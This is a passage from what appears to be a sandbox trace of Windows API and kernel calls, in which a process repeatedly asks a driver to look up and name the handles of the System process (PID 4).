lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0063.107] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.107] PsAcquireProcessExitSynchronization () returned 0x0 [0063.107] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.107] ObReferenceObjectByHandle (in: Handle=0xffffffff80000164, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002df8f20, HandleInformation=0x0) returned 0x0 [0063.107] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.108] PsReleaseProcessExitSynchronization () returned 0x2 [0063.108] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.108] ObQueryNameString (in: Object=0xfffffa8002df8f20, ObjectNameInfo=0xfffffa80038f6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.108] ObfDereferenceObject (Object=0xfffffa8002df8f20) returned 0x1 [0063.108] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.108] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.108] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.108] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0063.108] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.108] PsAcquireProcessExitSynchronization () returned 0x0 [0063.108] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.108] ObReferenceObjectByHandle (in: Handle=0xffffffff80000168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002df8c90, HandleInformation=0x0) returned 0x0 [0063.108] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.108] PsReleaseProcessExitSynchronization () returned 0x2 [0063.108] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.108] ObQueryNameString (in: Object=0xfffffa8002df8c90, ObjectNameInfo=0xfffffa80038f7044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f7044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.108] ObfDereferenceObject (Object=0xfffffa8002df8c90) returned 0x1 [0063.108] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.108] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.108] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.108] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0063.108] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.108] PsAcquireProcessExitSynchronization () returned 0x0 [0063.108] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.108] ObReferenceObjectByHandle (in: Handle=0xffffffff8000016c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8004bd9e60, HandleInformation=0x0) returned 0x0 [0063.108] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.108] PsReleaseProcessExitSynchronization () returned 0x2 [0063.108] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.108] ObQueryNameString (in: Object=0xfffffa8004bd9e60, ObjectNameInfo=0xfffffa800200c404, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800200c404, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.108] ObfDereferenceObject (Object=0xfffffa8004bd9e60) returned 0x1 [0063.108] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.108] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.108] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.109] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0063.109] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.109] PsAcquireProcessExitSynchronization () returned 0x0 [0063.109] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.109] ObReferenceObjectByHandle (in: Handle=0xffffffff80000170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002df9bd0, HandleInformation=0x0) returned 0x0 [0063.109] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.109] PsReleaseProcessExitSynchronization () returned 0x2 [0063.109] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.109] ObQueryNameString (in: Object=0xfffffa8002df9bd0, ObjectNameInfo=0xfffffa80038d5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038d5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.109] ObfDereferenceObject (Object=0xfffffa8002df9bd0) returned 0x1 [0063.109] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.109] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.109] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.109] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xa8, lpOverlapped=0x0) returned 1 [0063.109] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.109] PsAcquireProcessExitSynchronization () returned 0x0 [0063.109] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.109] ObReferenceObjectByHandle (in: Handle=0xffffffff80000194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002dfabf0, HandleInformation=0x0) returned 0x0 [0063.109] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.109] PsReleaseProcessExitSynchronization () returned 0x2 [0063.109] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.109] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038d4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038d4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.109] ObfDereferenceObject (Object=0xfffffa8002dfabf0) returned 0x21 [0063.109] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.109] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.109] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.109] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0063.109] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.109] PsAcquireProcessExitSynchronization () returned 0x0 [0063.109] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.109] ObReferenceObjectByHandle (in: Handle=0xffffffff80000198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002e4a050, HandleInformation=0x0) returned 0x0 [0063.109] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.109] PsReleaseProcessExitSynchronization () returned 0x2 [0063.109] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.110] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038bf044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038bf044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.110] ObfDereferenceObject (Object=0xfffffa8002e4a050) returned 0x1 [0063.110] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.110] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.110] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.110] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0063.110] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.110] PsAcquireProcessExitSynchronization () returned 0x0 [0063.110] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.110] ObReferenceObjectByHandle (in: Handle=0xffffffff800001b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002e5dd00, HandleInformation=0x0) returned 0x0 [0063.110] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.110] PsReleaseProcessExitSynchronization () returned 0x2 [0063.110] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.110] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800378a044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800378a044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.110] ObfDereferenceObject (Object=0xfffffa8002e5dd00) returned 0x1 [0063.110] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.110] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.110] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.110] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x62, lpOverlapped=0x0) returned 1 [0063.110] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.110] PsAcquireProcessExitSynchronization () returned 0x0 [0063.110] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.110] ObReferenceObjectByHandle (in: Handle=0xffffffff800001bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f10050, HandleInformation=0x0) returned 0x0 [0063.110] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.110] PsReleaseProcessExitSynchronization () returned 0x2 [0063.110] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.110] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003840044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003840044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.110] ObfDereferenceObject (Object=0xfffffa8002f10050) returned 0x1 [0063.110] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.110] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.110] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.110] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0063.110] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.110] PsAcquireProcessExitSynchronization () returned 0x0 [0063.110] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.111] ObReferenceObjectByHandle (in: Handle=0xffffffff800001c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800296af20, HandleInformation=0x0) returned 0x0 [0063.111] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.111] PsReleaseProcessExitSynchronization () returned 0x2 [0063.111] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.111] ObQueryNameString (in: Object=0xfffffa800296af20, ObjectNameInfo=0xfffffa80038bd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038bd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.111] ObfDereferenceObject (Object=0xfffffa800296af20) returned 0x3 [0063.111] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.111] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.111] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.111] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0063.111] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.111] PsAcquireProcessExitSynchronization () returned 0x0 [0063.111] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.111] ObReferenceObjectByHandle (in: Handle=0xffffffff800001c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f25720, HandleInformation=0x0) returned 0x0 [0063.111] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.111] PsReleaseProcessExitSynchronization () returned 0x2 [0063.111] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.111] ObQueryNameString (in: Object=0xfffffa8002f25720, ObjectNameInfo=0xfffffa8003796044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003796044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.111] ObfDereferenceObject (Object=0xfffffa8002f25720) returned 0x1 [0063.111] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.111] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.111] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.111] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0063.111] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.111] PsAcquireProcessExitSynchronization () returned 0x0 [0063.111] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.111] ObReferenceObjectByHandle (in: Handle=0xffffffff800001cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019179c0, HandleInformation=0x0) returned 0x0 [0063.111] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.111] PsReleaseProcessExitSynchronization () returned 0x2 [0063.111] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.111] ObQueryNameString (in: Object=0xfffffa80019179c0, ObjectNameInfo=0xfffffa80038e9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.111] ObfDereferenceObject (Object=0xfffffa80019179c0) returned 0x2 [0063.111] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.112] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.112] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.112] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0063.112] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.112] PsAcquireProcessExitSynchronization () returned 0x0 [0063.112] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.112] ObReferenceObjectByHandle (in: Handle=0xffffffff800001d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f29260, HandleInformation=0x0) returned 0x0 [0063.112] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.112] PsReleaseProcessExitSynchronization () returned 0x2 [0063.112] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.112] ObQueryNameString (in: Object=0xfffffa8002f29260, ObjectNameInfo=0xfffffa80038ce044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ce044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.112] ObfDereferenceObject (Object=0xfffffa8002f29260) returned 0x2 [0063.112] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.112] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.112] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.112] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0063.112] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.112] PsAcquireProcessExitSynchronization () returned 0x0 [0063.112] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.112] ObReferenceObjectByHandle (in: Handle=0xffffffff800001dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f10df0, HandleInformation=0x0) returned 0x0 [0063.112] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.112] PsReleaseProcessExitSynchronization () returned 0x2 [0063.112] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.112] ObQueryNameString (in: Object=0xfffffa8002f10df0, ObjectNameInfo=0xfffffa80038d9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038d9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.112] ObfDereferenceObject (Object=0xfffffa8002f10df0) returned 0x2 [0063.112] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.112] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.112] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.112] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.112] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.112] PsAcquireProcessExitSynchronization () returned 0x0 [0063.112] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.112] ObReferenceObjectByHandle (in: Handle=0xffffffff800001e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f1f210, HandleInformation=0x0) returned 0x0 [0063.112] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.113] PsReleaseProcessExitSynchronization () returned 0x2 [0063.113] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.113] ObQueryNameString (in: Object=0xfffffa8002f1f210, ObjectNameInfo=0xfffffa80038da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.113] ObfDereferenceObject (Object=0xfffffa8002f1f210) returned 0x1 [0063.113] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.113] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.113] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.113] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.113] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.113] PsAcquireProcessExitSynchronization () returned 0x0 [0063.113] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.113] ObReferenceObjectByHandle (in: Handle=0xffffffff800001e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f22d30, HandleInformation=0x0) returned 0x0 [0063.113] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.113] PsReleaseProcessExitSynchronization () returned 0x2 [0063.113] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.113] ObQueryNameString (in: Object=0xfffffa8002f22d30, ObjectNameInfo=0xfffffa80038db044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038db044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.113] ObfDereferenceObject (Object=0xfffffa8002f22d30) returned 0x2 [0063.113] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.113] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.113] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.113] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xb8, lpOverlapped=0x0) returned 1 [0063.113] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.113] PsAcquireProcessExitSynchronization () returned 0x0 [0063.113] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, 